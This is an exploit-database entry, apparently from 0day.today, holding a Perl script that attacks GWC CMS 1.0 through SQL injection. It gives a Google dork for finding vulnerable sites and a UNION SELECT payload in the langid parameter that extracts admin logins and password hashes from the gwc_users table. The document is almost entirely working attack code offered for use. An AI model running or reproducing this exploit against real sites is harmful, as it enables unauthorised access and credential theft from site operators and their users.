GWC CMS 1.0 SQL Injection Exploit

# Exploit Title: GWC CMS SQL Injection Vulnerability
# Exploit Author: nopesled
# Google Dork: "inurl:?langid=1 inurl:topmenuid="
# Date: 08/07/2015
# Version: 1.0
# Tested on: Linux
#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Request::Common qw(GET);

print " == Exploit by nopesled == n";
if (@ARGV < 1){
die "Invalid amount of argumentsnExample: perl $0 http://site.comn";
}
$site = shift;
$ua = LWP::UserAgent->new;
$payload = "$site/?langid=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,group_concat(0x3c62723e,userlogin,0x3a,userpasswd) from gwc_users--";
print "[+] Grabbing Admin login [+]n";
$request = GET $payload;
$response = $ua->request($request);
if ($response->is_success){
if ($response->content =~ /(.+[0-9a-f]{32})/){
print "[+] Admin info obtained [+]nn$1n";
exit;
}
else {
die "[+] Admin info not found [+]";
}
}
else {
die "[+] Request failed [+]";
}
exit;

=pod

#  0day.today [2018-02-18]  #